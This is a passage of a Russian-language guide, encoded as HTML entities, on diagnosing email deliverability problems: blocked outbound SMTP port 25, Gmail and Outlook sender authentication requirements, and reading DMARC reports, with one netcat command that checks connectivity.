&#x441;&#x435;&#x440;&#x432;&#x438;&#x441;&#x430; &#x441;&#x43E;&#x431;&#x440;&#x430;&#x43B;&#x438; 38,6 % &#x440;&#x44B;&#x43D;&#x43A;&#x430;, &#x430; &#x432;&#x441;&#x451; &#x43F;&#x440;&#x43E;&#x447;&#x435;&#x435; &#x440;&#x430;&#x437;&#x434;&#x440;&#x43E;&#x431;&#x438;&#x43B;&#x43E;&#x441;&#x44C;&#xBB;. &#x414;&#x432;&#x430;&#x434;&#x446;&#x430;&#x442;&#x44C; &#x434;&#x432;&#x430; &#x441; &#x43D;&#x435;&#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x438;&#x43C; &#x43F;&#x440;&#x43E;&#x446;&#x435;&#x43D;&#x442;&#x430; &#x43E;&#x442; 659 &#x442;&#x44B;&#x441;&#x44F;&#x447; &#x2014; &#x44D;&#x442;&#x43E; &#x43F;&#x43E;-&#x43F;&#x440;&#x435;&#x436;&#x43D;&#x435;&#x43C;&#x443; &#x43E;&#x43A;&#x43E;&#x43B;&#x43E; 148 &#x442;&#x44B;&#x441;&#x44F;&#x447; &#x434;&#x43E;&#x43C;&#x435;&#x43D;&#x43E;&#x432;. 
&#x421;&#x43F;&#x440;&#x430;&#x432;&#x43E;&#x447;&#x43D;&#x438;&#x43A;: &#x43F;&#x438;&#x441;&#x44C;&#x43C;&#x430; &#x43D;&#x435; &#x434;&#x43E;&#x445;&#x43E;&#x434;&#x44F;&#x442;
&#x414;&#x430;&#x43B;&#x44C;&#x448;&#x435; &#x2014; &#x43F;&#x43E; &#x441;&#x438;&#x43C;&#x43F;&#x442;&#x43E;&#x43C;&#x430;&#x43C;, &#x432; &#x43F;&#x43E;&#x440;&#x44F;&#x434;&#x43A;&#x435; &#x443;&#x431;&#x44B;&#x432;&#x430;&#x43D;&#x438;&#x44F; &#x447;&#x430;&#x441;&#x442;&#x43E;&#x442;&#x44B; &#x432;&#x441;&#x442;&#x440;&#x435;&#x447;&#x430;&#x435;&#x43C;&#x43E;&#x441;&#x442;&#x438; &#x43D;&#x430; &#x43F;&#x440;&#x430;&#x43A;&#x442;&#x438;&#x43A;&#x435;. 
&#x421;&#x43E;&#x435;&#x434;&#x438;&#x43D;&#x435;&#x43D;&#x438;&#x435; &#x432;&#x438;&#x441;&#x438;&#x442;, &#x438;&#x441;&#x445;&#x43E;&#x434;&#x44F;&#x449;&#x438;&#x435; &#x432;&#x43E;&#x43E;&#x431;&#x449;&#x435; &#x43D;&#x435; &#x443;&#x445;&#x43E;&#x434;&#x44F;&#x442;
&#x427;&#x442;&#x43E; &#x43F;&#x440;&#x43E;&#x438;&#x441;&#x445;&#x43E;&#x434;&#x438;&#x442;. &#x414;&#x432;&#x430;&#x434;&#x446;&#x430;&#x442;&#x44C; &#x43F;&#x44F;&#x442;&#x44B;&#x439; &#x43F;&#x43E;&#x440;&#x442; &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442; &#x445;&#x43E;&#x441;&#x442;&#x435;&#x440;&#x43E;&#x43C;. &#x42D;&#x442;&#x43E; &#x448;&#x442;&#x430;&#x442;&#x43D;&#x43E;&#x435; &#x43F;&#x43E;&#x43B;&#x43E;&#x436;&#x435;&#x43D;&#x438;&#x435; &#x434;&#x435;&#x43B;, &#x430; &#x43D;&#x435; &#x43F;&#x43E;&#x43B;&#x43E;&#x43C;&#x43A;&#x430;: Hetzner, &#x43A; &#x43F;&#x440;&#x438;&#x43C;&#x435;&#x440;&#x443;, &#x432; &#x441;&#x432;&#x43E;&#x451;&#x43C; FAQ &#x43F;&#x440;&#x44F;&#x43C;&#x43E; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x430;&#x435;&#x442; &#x43E; &#x431;&#x43B;&#x43E;&#x43A;&#x438;&#x440;&#x43E;&#x432;&#x43A;&#x435; &#x43F;&#x43E;&#x440;&#x442;&#x43E;&#x432; 25 &#x438; 465 &#x43F;&#x43E; &#x443;&#x43C;&#x43E;&#x43B;&#x447;&#x430;&#x43D;&#x438;&#x44E; &#x43D;&#x430; &#x432;&#x441;&#x435;&#x445; &#x43E;&#x431;&#x43B;&#x430;&#x447;&#x43D;&#x44B;&#x445; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x430;&#x445;. &#x421;&#x43D;&#x44F;&#x442;&#x44C; &#x435;&#x451; &#x43C;&#x43E;&#x436;&#x43D;&#x43E; &#x437;&#x430;&#x43F;&#x440;&#x43E;&#x441;&#x43E;&#x43C; &#x43B;&#x438;&#x43C;&#x438;&#x442;&#x430; &#x2014; &#x43D;&#x43E; &#x43D;&#x435; &#x440;&#x430;&#x43D;&#x44C;&#x448;&#x435;, &#x447;&#x435;&#x43C; &#x43F;&#x440;&#x43E;&#x439;&#x434;&#x451;&#x442; &#x43C;&#x435;&#x441;&#x44F;&#x446; &#x43E;&#x431;&#x441;&#x43B;&#x443;&#x436;&#x438;&#x432;&#x430;&#x43D;&#x438;&#x44F; &#x438; &#x431;&#x443;&#x434;&#x435;&#x442; &#x43E;&#x43F;&#x43B;&#x430;&#x447;&#x435;&#x43D; &#x43F;&#x435;&#x440;&#x432;&#x44B;&#x439; &#x441;&#x447;&#x451;&#x442;. &#x41F;&#x43E;&#x440;&#x442; 587 &#x43F;&#x440;&#x438; &#x44D;&#x442;&#x43E;&#x43C; &#x441;&#x432;&#x43E;&#x431;&#x43E;&#x434;&#x435;&#x43D;. 
&#x427;&#x442;&#x43E; &#x434;&#x435;&#x43B;&#x430;&#x442;&#x44C;. &#x423;&#x431;&#x435;&#x434;&#x438;&#x442;&#x44C;&#x441;&#x44F; &#x432; &#x434;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x43D;&#x43E;&#x441;&#x442;&#x438; &#x438;&#x441;&#x445;&#x43E;&#x434;&#x44F;&#x449;&#x435;&#x433;&#x43E; 25-&#x433;&#x43E; &#x434;&#x43E; &#x442;&#x43E;&#x433;&#x43E;, &#x43A;&#x430;&#x43A; &#x43D;&#x430;&#x441;&#x442;&#x440;&#x430;&#x438;&#x432;&#x430;&#x442;&#x44C; &#x447;&#x442;&#x43E;-&#x43B;&#x438;&#x431;&#x43E; &#x435;&#x449;&#x451;: 
# &#x43E;&#x436;&#x438;&#x434;&#x430;&#x435;&#x43C; &#x443;&#x441;&#x442;&#x430;&#x43D;&#x43E;&#x432;&#x43B;&#x435;&#x43D;&#x43D;&#x43E;&#x435; &#x441;&#x43E;&#x435;&#x434;&#x438;&#x43D;&#x435;&#x43D;&#x438;&#x435; &#x438; &#x43F;&#x440;&#x438;&#x432;&#x435;&#x442;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x44B;&#x439; &#x431;&#x430;&#x43D;&#x43D;&#x435;&#x440; 220
timeout 10 nc -vz gmail-smtp-in.l.google.com 25 ; echo "&#x43A;&#x43E;&#x434;: $?"
&#x421;&#x43E;&#x435;&#x434;&#x438;&#x43D;&#x435;&#x43D;&#x438;&#x435; &#x43D;&#x435; &#x443;&#x441;&#x442;&#x430;&#x43D;&#x430;&#x432;&#x43B;&#x438;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x2014; &#x434;&#x430;&#x43B;&#x44C;&#x448;&#x435; &#x447;&#x438;&#x442;&#x430;&#x442;&#x44C; &#x441;&#x43C;&#x44B;&#x441;&#x43B;&#x430; &#x43D;&#x435;&#x442;, &#x432;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#x440;&#x435;&#x448;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x441; &#x445;&#x43E;&#x441;&#x442;&#x435;&#x440;&#x43E;&#x43C;. &#x41E;&#x431;&#x445;&#x43E;&#x434;&#x43D;&#x43E;&#x439; &#x43F;&#x443;&#x442;&#x44C; &#x447;&#x435;&#x440;&#x435;&#x437; &#x440;&#x435;&#x43B;&#x435;&#x439; &#x43F;&#x43E; 587-&#x43C;&#x443; &#x441;&#x443;&#x449;&#x435;&#x441;&#x442;&#x432;&#x443;&#x435;&#x442;, &#x43D;&#x43E; &#x442;&#x43E;&#x433;&#x434;&#x430; &#x440;&#x435;&#x43F;&#x443;&#x442;&#x430;&#x446;&#x438;&#x44E; &#x437;&#x430;&#x440;&#x430;&#x431;&#x430;&#x442;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x440;&#x435;&#x43B;&#x435;&#x439;, &#x430; &#x43D;&#x435; &#x432;&#x430;&#x448; &#x441;&#x435;&#x440;&#x432;&#x435;&#x440;. 
Gmail &#x43F;&#x440;&#x438;&#x43D;&#x438;&#x43C;&#x430;&#x435;&#x442; &#x43F;&#x438;&#x441;&#x44C;&#x43C;&#x43E; &#x438; &#x43A;&#x43B;&#x430;&#x434;&#x451;&#x442; &#x432; &#x441;&#x43F;&#x430;&#x43C;
&#x427;&#x442;&#x43E; &#x43F;&#x440;&#x43E;&#x438;&#x441;&#x445;&#x43E;&#x434;&#x438;&#x442;. &#x41A;&#x430;&#x43A; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x43E; &#x2014; &#x43D;&#x435;&#x43F;&#x43E;&#x43B;&#x43D;&#x44B;&#x439; &#x43A;&#x43E;&#x43C;&#x43F;&#x43B;&#x435;&#x43A;&#x442; &#x430;&#x443;&#x442;&#x435;&#x43D;&#x442;&#x438;&#x444;&#x438;&#x43A;&#x430;&#x446;&#x438;&#x438; &#x43B;&#x438;&#x431;&#x43E; &#x43F;&#x440;&#x435;&#x432;&#x44B;&#x448;&#x435;&#x43D;&#x43D;&#x44B;&#x439; &#x43F;&#x43E;&#x440;&#x43E;&#x433; &#x436;&#x430;&#x43B;&#x43E;&#x431;. Google &#x432; &#x441;&#x432;&#x43E;&#x438;&#x445; &#x442;&#x440;&#x435;&#x431;&#x43E;&#x432;&#x430;&#x43D;&#x438;&#x44F;&#x445; &#x43F;&#x440;&#x435;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x43A;&#x43E;&#x43D;&#x43A;&#x440;&#x435;&#x442;&#x435;&#x43D;: &#x441; 1 &#x444;&#x435;&#x432;&#x440;&#x430;&#x43B;&#x44F; 2024 &#x433;&#x43E;&#x434;&#x430; &#x43E;&#x442;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x44F;&#x44E;&#x449;&#x438;&#x435; &#x431;&#x43E;&#x43B;&#x435;&#x435; 5000 &#x43F;&#x438;&#x441;&#x435;&#x43C; &#x432; &#x441;&#x443;&#x442;&#x43A;&#x438; &#x43D;&#x430; &#x430;&#x434;&#x440;&#x435;&#x441;&#x430; Gmail &#x43E;&#x431;&#x44F;&#x437;&#x430;&#x43D;&#x44B; &#x438;&#x43C;&#x435;&#x442;&#x44C; SPF &#x438; DKIM &#x43E;&#x434;&#x43D;&#x43E;&#x432;&#x440;&#x435;&#x43C;&#x435;&#x43D;&#x43D;&#x43E;, &#x43D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x435;&#x43D;&#x43D;&#x44B;&#x439; DMARC &#x43D;&#x430; &#x43E;&#x442;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x44F;&#x44E;&#x449;&#x435;&#x43C; &#x434;&#x43E;&#x43C;&#x435;&#x43D;&#x435;, &#x43A;&#x43E;&#x440;&#x440;&#x435;&#x43A;&#x442;&#x43D;&#x44B;&#x435; &#x43F;&#x440;&#x44F;&#x43C;&#x443;&#x44E; &#x438; &#x43E;&#x431;&#x440;&#x430;&#x442;&#x43D;&#x443;&#x44E; DNS-&#x437;&#x430;&#x43F;&#x438;&#x441;&#x438;, &#x43F;&#x435;&#x440;&#x435;&#x434;&#x430;&#x447;&#x443; &#x43F;&#x43E; TLS &#x438; &#x43E;&#x434;&#x43D;&#x43E;&#x441;&#x43A;&#x43B;&#x438;&#x43A;&#x43E;&#x432;&#x443;&#x44E; &#x43E;&#x442;&#x43F;&#x438;&#x441;&#x43A;&#x443; &#x432; &#x440;&#x430;&#x441;&#x441;&#x44B;&#x43B;&#x43A;&#x430;&#x445;. &#x414;&#x43B;&#x438;&#x43D;&#x430; &#x43A;&#x43B;&#x44E;&#x447;&#x430; DKIM &#x434;&#x43B;&#x44F; &#x43E;&#x442;&#x43F;&#x440;&#x430;&#x432;&#x43A;&#x438; &#x43D;&#x430; &#x43B;&#x438;&#x447;&#x43D;&#x44B;&#x435; &#x430;&#x434;&#x440;&#x435;&#x441;&#x430; &#x2014; &#x43E;&#x442; 1024 &#x431;&#x438;&#x442;. &#x414;&#x43E;&#x43B;&#x44F; &#x436;&#x430;&#x43B;&#x43E;&#x431; &#x432; Postmaster Tools &#x43E;&#x431;&#x44F;&#x437;&#x430;&#x43D;&#x430; &#x43E;&#x441;&#x442;&#x430;&#x432;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x43D;&#x438;&#x436;&#x435; 0,3 %, &#x430; &#x440;&#x435;&#x43A;&#x43E;&#x43C;&#x435;&#x43D;&#x434;&#x443;&#x435;&#x43C;&#x44B;&#x439; &#x437;&#x430;&#x43F;&#x430;&#x441; &#x43F;&#x440;&#x43E;&#x447;&#x43D;&#x43E;&#x441;&#x442;&#x438; &#x2014; &#x43D;&#x438;&#x436;&#x435; 0,1 %. 
&#x427;&#x442;&#x43E; &#x434;&#x435;&#x43B;&#x430;&#x442;&#x44C;. &#x414;&#x43B;&#x44F; &#x43D;&#x430;&#x447;&#x430;&#x43B;&#x430; &#x432;&#x44B;&#x44F;&#x441;&#x43D;&#x438;&#x442;&#x44C;, &#x43F;&#x440;&#x43E;&#x445;&#x43E;&#x434;&#x438;&#x442; &#x43B;&#x438; &#x434;&#x43E;&#x43C;&#x435;&#x43D; &#x43F;&#x440;&#x43E;&#x432;&#x435;&#x440;&#x43A;&#x438; &#x432;&#x43E;&#x43E;&#x431;&#x449;&#x435;: &#x43E;&#x442;&#x43F;&#x440;&#x430;&#x432;&#x438;&#x442;&#x44C; &#x43F;&#x438;&#x441;&#x44C;&#x43C;&#x43E; &#x432; &#x43B;&#x44E;&#x431;&#x43E;&#x439; &#x441;&#x435;&#x440;&#x432;&#x438;&#x441; &#x440;&#x430;&#x437;&#x431;&#x43E;&#x440;&#x430; &#x437;&#x430;&#x433;&#x43E;&#x43B;&#x43E;&#x432;&#x43A;&#x43E;&#x432; &#x438; &#x438;&#x437;&#x443;&#x447;&#x438;&#x442;&#x44C; &#x441;&#x442;&#x440;&#x43E;&#x43A;&#x438; Authentication-Results. &#x417;&#x430;&#x442;&#x435;&#x43C; &#x43F;&#x43E;&#x434;&#x43A;&#x43B;&#x44E;&#x447;&#x438;&#x442;&#x44C; &#x434;&#x43E;&#x43C;&#x435;&#x43D; &#x43A; Google Postmaster Tools &#x2014; &#x431;&#x435;&#x437; &#x43D;&#x435;&#x433;&#x43E; &#x441;&#x43E;&#x431;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x430;&#x44F; &#x434;&#x43E;&#x43B;&#x44F; &#x436;&#x430;&#x43B;&#x43E;&#x431; &#x432;&#x430;&#x43C; &#x43D;&#x435;&#x434;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x43D;&#x430;, &#x438; &#x432;&#x44B; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x435;&#x442;&#x435; &#x432;&#x441;&#x43B;&#x435;&#x43F;&#x443;&#x44E;. 
&#x26A0;&#xFE0F; &#x41E;&#x441;&#x442;&#x43E;&#x440;&#x43E;&#x436;&#x43D;&#x43E; &#x41F;&#x43E;&#x440;&#x43E;&#x433; &#x432; &#x43F;&#x44F;&#x442;&#x44C; &#x442;&#x44B;&#x441;&#x44F;&#x447; &#x43F;&#x438;&#x441;&#x435;&#x43C; &#x447;&#x430;&#x441;&#x442;&#x43E; &#x447;&#x438;&#x442;&#x430;&#x44E;&#x442; &#x43A;&#x430;&#x43A; &#xAB;&#x43C;&#x435;&#x43D;&#x44F; &#x43D;&#x435; &#x43A;&#x430;&#x441;&#x430;&#x435;&#x442;&#x441;&#x44F;, &#x44F; &#x43E;&#x442;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x44F;&#x44E; &#x434;&#x432;&#x430;&#x434;&#x446;&#x430;&#x442;&#x44C; &#x448;&#x442;&#x443;&#x43A;&#xBB;. &#x41A;&#x430;&#x441;&#x430;&#x435;&#x442;&#x441;&#x44F;. &#x411;&#x430;&#x437;&#x43E;&#x432;&#x44B;&#x439; &#x43D;&#x430;&#x431;&#x43E;&#x440; &#x2014; SPF &#x438;&#x43B;&#x438; DKIM, &#x43E;&#x431;&#x440;&#x430;&#x442;&#x43D;&#x430;&#x44F; &#x437;&#x430;&#x43F;&#x438;&#x441;&#x44C;, TLS, &#x441;&#x43E;&#x43E;&#x442;&#x432;&#x435;&#x442;&#x441;&#x442;&#x432;&#x438;&#x435; RFC 5322 &#x2014; Google &#x43F;&#x440;&#x435;&#x434;&#x44A;&#x44F;&#x432;&#x43B;&#x44F;&#x435;&#x442; &#x432;&#x441;&#x435;&#x43C; &#x431;&#x435;&#x437; &#x438;&#x441;&#x43A;&#x43B;&#x44E;&#x447;&#x435;&#x43D;&#x438;&#x44F;. &#x423; &#x43C;&#x430;&#x441;&#x441;&#x43E;&#x432;&#x44B;&#x445; &#x43E;&#x442;&#x43F;&#x440;&#x430;&#x432;&#x438;&#x442;&#x435;&#x43B;&#x435;&#x439; &#x441;&#x43F;&#x438;&#x441;&#x43E;&#x43A; &#x43F;&#x440;&#x43E;&#x441;&#x442;&#x43E; &#x434;&#x43B;&#x438;&#x43D;&#x43D;&#x435;&#x435;. 
Microsoft 365 &#x438; Outlook &#x43E;&#x442;&#x431;&#x438;&#x432;&#x430;&#x44E;&#x442; &#x43B;&#x438;&#x431;&#x43E; &#x442;&#x435;&#x440;&#x44F;&#x44E;&#x442; &#x43C;&#x43E;&#x43B;&#x447;&#x430;
&#x427;&#x442;&#x43E; &#x43F;&#x440;&#x43E;&#x438;&#x441;&#x445;&#x43E;&#x434;&#x438;&#x442;. &#x422;&#x43E;&#x442; &#x436;&#x435; &#x43A;&#x43B;&#x430;&#x441;&#x441; &#x43F;&#x440;&#x438;&#x447;&#x438;&#x43D; &#x43F;&#x43B;&#x44E;&#x441; &#x43E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x430;&#x44F; &#x43F;&#x43E;&#x43B;&#x438;&#x442;&#x438;&#x43A;&#x430;: &#x432; 2025 &#x433;&#x43E;&#x434;&#x443; Microsoft &#x430;&#x43D;&#x43E;&#x43D;&#x441;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x43B;&#x430; &#x43D;&#x43E;&#x432;&#x44B;&#x435; &#x442;&#x440;&#x435;&#x431;&#x43E;&#x432;&#x430;&#x43D;&#x438;&#x44F; &#x43A; &#x43E;&#x442;&#x43F;&#x440;&#x430;&#x432;&#x438;&#x442;&#x435;&#x43B;&#x44F;&#x43C; &#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x438;&#x445; &#x43E;&#x431;&#x44A;&#x451;&#x43C;&#x43E;&#x432; &#x432; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x443; Outlook, &#x433;&#x434;&#x435; SPF, DKIM &#x438; DMARC &#x43E;&#x431;&#x44F;&#x437;&#x430;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x44B;. &#x41A;&#x43E;&#x43D;&#x43A;&#x440;&#x435;&#x442;&#x43D;&#x44B;&#x435; &#x43F;&#x43E;&#x440;&#x43E;&#x433;&#x438; &#x438; &#x43F;&#x440;&#x438;&#x43C;&#x435;&#x43D;&#x44F;&#x435;&#x43C;&#x44B;&#x435; &#x43C;&#x435;&#x440;&#x44B; &#x43A;&#x43E;&#x440;&#x440;&#x435;&#x43A;&#x442;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x43B;&#x438;&#x441;&#x44C; &#x443;&#x436;&#x435; &#x43F;&#x43E;&#x441;&#x43B;&#x435; &#x430;&#x43D;&#x43E;&#x43D;&#x441;&#x430;, &#x43F;&#x43E;&#x44D;&#x442;&#x43E;&#x43C;&#x443; &#x441;&#x432;&#x435;&#x440;&#x44F;&#x442;&#x44C;&#x441;&#x44F; &#x441;&#x43B;&#x435;&#x434;&#x443;&#x435;&#x442; &#x441; &#x441;&#x430;&#x43C;&#x438;&#x43C; &#x43E;&#x431;&#x44A;&#x44F;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x435;&#x43C; &#x432; &#x431;&#x43B;&#x43E;&#x433;&#x435; Defender for Office 365, &#x430; &#x43D;&#x435; &#x441; &#x447;&#x443;&#x436;&#x438;&#x43C;&#x438; &#x43F;&#x435;&#x440;&#x435;&#x441;&#x43A;&#x430;&#x437;&#x430;&#x43C;&#x438;. 
&#x427;&#x442;&#x43E; &#x434;&#x435;&#x43B;&#x430;&#x442;&#x44C;. &#x41F;&#x440;&#x430;&#x43A;&#x442;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x430;&#x44F; &#x447;&#x430;&#x441;&#x442;&#x44C; &#x43F;&#x43E;&#x432;&#x442;&#x43E;&#x440;&#x44F;&#x435;&#x442; &#x433;&#x443;&#x433;&#x43B;&#x43E;&#x432;&#x441;&#x43A;&#x443;&#x44E;, &#x43D;&#x43E; &#x441; &#x43E;&#x434;&#x43D;&#x43E;&#x439; &#x43F;&#x43E;&#x43F;&#x440;&#x430;&#x432;&#x43A;&#x43E;&#x439;: Microsoft &#x43E;&#x449;&#x443;&#x442;&#x438;&#x43C;&#x43E; &#x447;&#x443;&#x432;&#x441;&#x442;&#x432;&#x438;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x435;&#x435; &#x43A; &#x440;&#x435;&#x43F;&#x443;&#x442;&#x430;&#x446;&#x438;&#x438; &#x43F;&#x43E;&#x434;&#x441;&#x435;&#x442;&#x438; &#x446;&#x435;&#x43B;&#x438;&#x43A;&#x43E;&#x43C;, &#x430; &#x43D;&#x435; &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43A;&#x43E;&#x43D;&#x43A;&#x440;&#x435;&#x442;&#x43D;&#x43E;&#x433;&#x43E; &#x430;&#x434;&#x440;&#x435;&#x441;&#x430;. &#x414;&#x435;&#x448;&#x451;&#x432;&#x44B;&#x439; VPS &#x432; &#xAB;&#x433;&#x440;&#x44F;&#x437;&#x43D;&#x43E;&#x43C;&#xBB; &#x434;&#x438;&#x430;&#x43F;&#x430;&#x437;&#x43E;&#x43D;&#x435; &#x431;&#x443;&#x434;&#x435;&#x442; &#x43C;&#x435;&#x448;&#x430;&#x442;&#x44C; &#x432;&#x43D;&#x435; &#x437;&#x430;&#x432;&#x438;&#x441;&#x438;&#x43C;&#x43E;&#x441;&#x442;&#x438; &#x43E;&#x442; &#x442;&#x43E;&#x433;&#x43E;, &#x43D;&#x430;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x431;&#x435;&#x437;&#x443;&#x43F;&#x440;&#x435;&#x447;&#x43D;&#x43E; &#x43D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x435;&#x43D; DKIM. 
&#x41E;&#x434;&#x43D;&#x438; &#x43F;&#x438;&#x441;&#x44C;&#x43C;&#x430; &#x43F;&#x440;&#x43E;&#x445;&#x43E;&#x434;&#x44F;&#x442;, &#x434;&#x440;&#x443;&#x433;&#x438;&#x435; &#x43D;&#x435;&#x442;, &#x43B;&#x43E;&#x433;&#x438;&#x43A;&#x438; &#x43D;&#x435; &#x432;&#x438;&#x434;&#x43D;&#x43E;
&#x427;&#x442;&#x43E; &#x43F;&#x440;&#x43E;&#x438;&#x441;&#x445;&#x43E;&#x434;&#x438;&#x442;. &#x41E;&#x431;&#x44B;&#x447;&#x43D;&#x43E; &#x432;&#x438;&#x43D;&#x43E;&#x432;&#x430;&#x442; SPF, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x439; &#x43E;&#x442;&#x440;&#x430;&#x431;&#x430;&#x442;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x43F;&#x440;&#x438; &#x43F;&#x440;&#x44F;&#x43C;&#x43E;&#x439; &#x43E;&#x442;&#x43F;&#x440;&#x430;&#x432;&#x43A;&#x435; &#x438; &#x440;&#x430;&#x441;&#x441;&#x44B;&#x43F;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43D;&#x430; &#x43F;&#x435;&#x440;&#x435;&#x441;&#x44B;&#x43B;&#x43A;&#x435;. &#x412;&#x442;&#x43E;&#x440;&#x43E;&#x439; &#x43A;&#x430;&#x43D;&#x434;&#x438;&#x434;&#x430;&#x442; &#x2014; &#x440;&#x430;&#x441;&#x445;&#x43E;&#x436;&#x434;&#x435;&#x43D;&#x438;&#x435; &#x434;&#x43E;&#x43C;&#x435;&#x43D;&#x430; &#x432; &#x437;&#x430;&#x433;&#x43E;&#x43B;&#x43E;&#x432;&#x43A;&#x435; From: &#x441; &#x434;&#x43E;&#x43C;&#x435;&#x43D;&#x43E;&#x43C; &#x43F;&#x43E;&#x434;&#x43F;&#x438;&#x441;&#x438; DKIM, &#x442;&#x43E; &#x435;&#x441;&#x442;&#x44C; &#x43F;&#x440;&#x43E;&#x432;&#x430;&#x43B; &#x432;&#x44B;&#x440;&#x430;&#x432;&#x43D;&#x438;&#x432;&#x430;&#x43D;&#x438;&#x44F; DMARC. &#x412;&#x442;&#x43E;&#x440;&#x43E;&#x439; &#x441;&#x446;&#x435;&#x43D;&#x430;&#x440;&#x438;&#x439; &#x43E;&#x441;&#x43E;&#x431;&#x435;&#x43D;&#x43D;&#x43E; &#x43B;&#x44E;&#x431;&#x438;&#x442; &#x43F;&#x440;&#x43E;&#x44F;&#x432;&#x43B;&#x44F;&#x442;&#x44C;&#x441;&#x44F;, &#x43A;&#x43E;&#x433;&#x434;&#x430; &#x447;&#x430;&#x441;&#x442;&#x44C; &#x43F;&#x438;&#x441;&#x435;&#x43C; &#x443;&#x445;&#x43E;&#x434;&#x438;&#x442; &#x447;&#x435;&#x440;&#x435;&#x437; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x43D;&#x438;&#x439; &#x441;&#x435;&#x440;&#x432;&#x438;&#x441; &#x43E;&#x442; &#x438;&#x43C;&#x435;&#x43D;&#x438; &#x441;&#x430;&#x439;&#x442;&#x430;. 
&#x427;&#x442;&#x43E; &#x434;&#x435;&#x43B;&#x430;&#x442;&#x44C;. &#x412;&#x43A;&#x43B;&#x44E;&#x447;&#x438;&#x442;&#x44C; &#x43F;&#x440;&#x438;&#x451;&#x43C; DMARC-&#x43E;&#x442;&#x447;&#x451;&#x442;&#x43E;&#x432; &#x438; &#x43F;&#x43E;&#x442;&#x440;&#x430;&#x442;&#x438;&#x442;&#x44C; &#x43D;&#x435;&#x434;&#x435;&#x43B;&#x44E; &#x43D;&#x430; &#x438;&#x445; &#x447;&#x442;&#x435;&#x43D;&#x438;&#x435;. &#x41F;&#x430;&#x440;&#x430;&#x43C;&#x435;&#x442;&#x440; rua= &#x43D;&#x443;&#x436;&#x435;&#x43D; &#x440;&#x43E;&#x432;&#x43D;&#x43E; &#x434;&#x43B;&#x44F; &#x44D;&#x442;&#x43E;&#x433;&#x43E; &#x2014; &#x443;&#x432;&#x438;&#x434;&#x435;&#x442;&#x44C; &#x43F;&#x43E;&#x43B;&#x43D;&#x44B;&#x439; &#x441;&#x43F;&#x438;&#x441;&#x43E;&#x43A; &#x438;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A;&#x43E;&#x432;, &#x43E;&#x442;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x44F;&#x44E;&#x449;&#x438;&#x445; &#x43E;&#x442; &#x432;&#x430;&#x448;&#x435;&#x433;&#x43E; &#x438;&#x43C;&#x435;&#x43D;&#x438;. &#x418; &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43F;&#x43E;&#x441;&#x43B;&#x435; &#x44D;&#x442;&#x43E;&#x433;&#x43E; &#x43E;&#x441;&#x43C;&#x44B;&#x441;&#x43B;&#x435;&#x43D;&#x43D;&#x43E; &#x437;&#x430;&#x43A;&#x440;&#x443;&#x447;&#x438;&#x432;&#x430;&#x442;&#x44C; &#x433;&#x430;&#x439;&#x43A;&#x438;. 
DMARC &#x441;&#x442;&#x43E;&#x438;&#x442;, &#x43E;&#x442;&#x447;&#x451;&#x442;&#x44B; &#x438;&#x434;&#x443;&#x442;, &#x43F;&#x43E;&#x434;&#x434;&#x435;&#x43B;&#x43A;&#x438; &#x43F;&#x440;&#x43E;&#x434;&#x43E;&#x43B;&#x436;&#x430;&#x44E;&#x442;&#x441;&#x44F;
&#x427;&#x442;&#x43E; &#x43F;&#x440;&#x43E;&#x438;&#x441;&#x445;&#x43E;&#x434;&#x438;&#x442;. &#x41F;&#x43E;&#x43B;&#x438;&#x442;&#x438;&#x43A;&#x430; p=none &#x43D;&#x438;&#x447;&#x435;&#x433;&#x43E; &#x43D;&#x435; &#x43F;&#x440;&#x435;&#x434;&#x43F;&#x438;&#x441;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x43F;&#x440;&#x438;&#x43D;&#x438;&#x43C;&#x430;&#x44E;&#x449;&#x435;&#x439; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x435; &#x2014; &#x44D;&#x442;&#x43E; &#x440;&#x435;&#x436;&#x438;&#x43C; &#x43D;&#x430;&#x431;&#x43B;&#x44E;&#x434;&#x435;&#x43D;&#x438;&#x44F;. &#x421;&#x443;&#x434;&#x44F; &#x43F;&#x43E; &#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x43C; RIPE Labs, &#x43D;&#x430; &#x43D;&#x451;&#x43C; &#x438; &#x441;&#x438;&#x434;&#x438;&#x442; 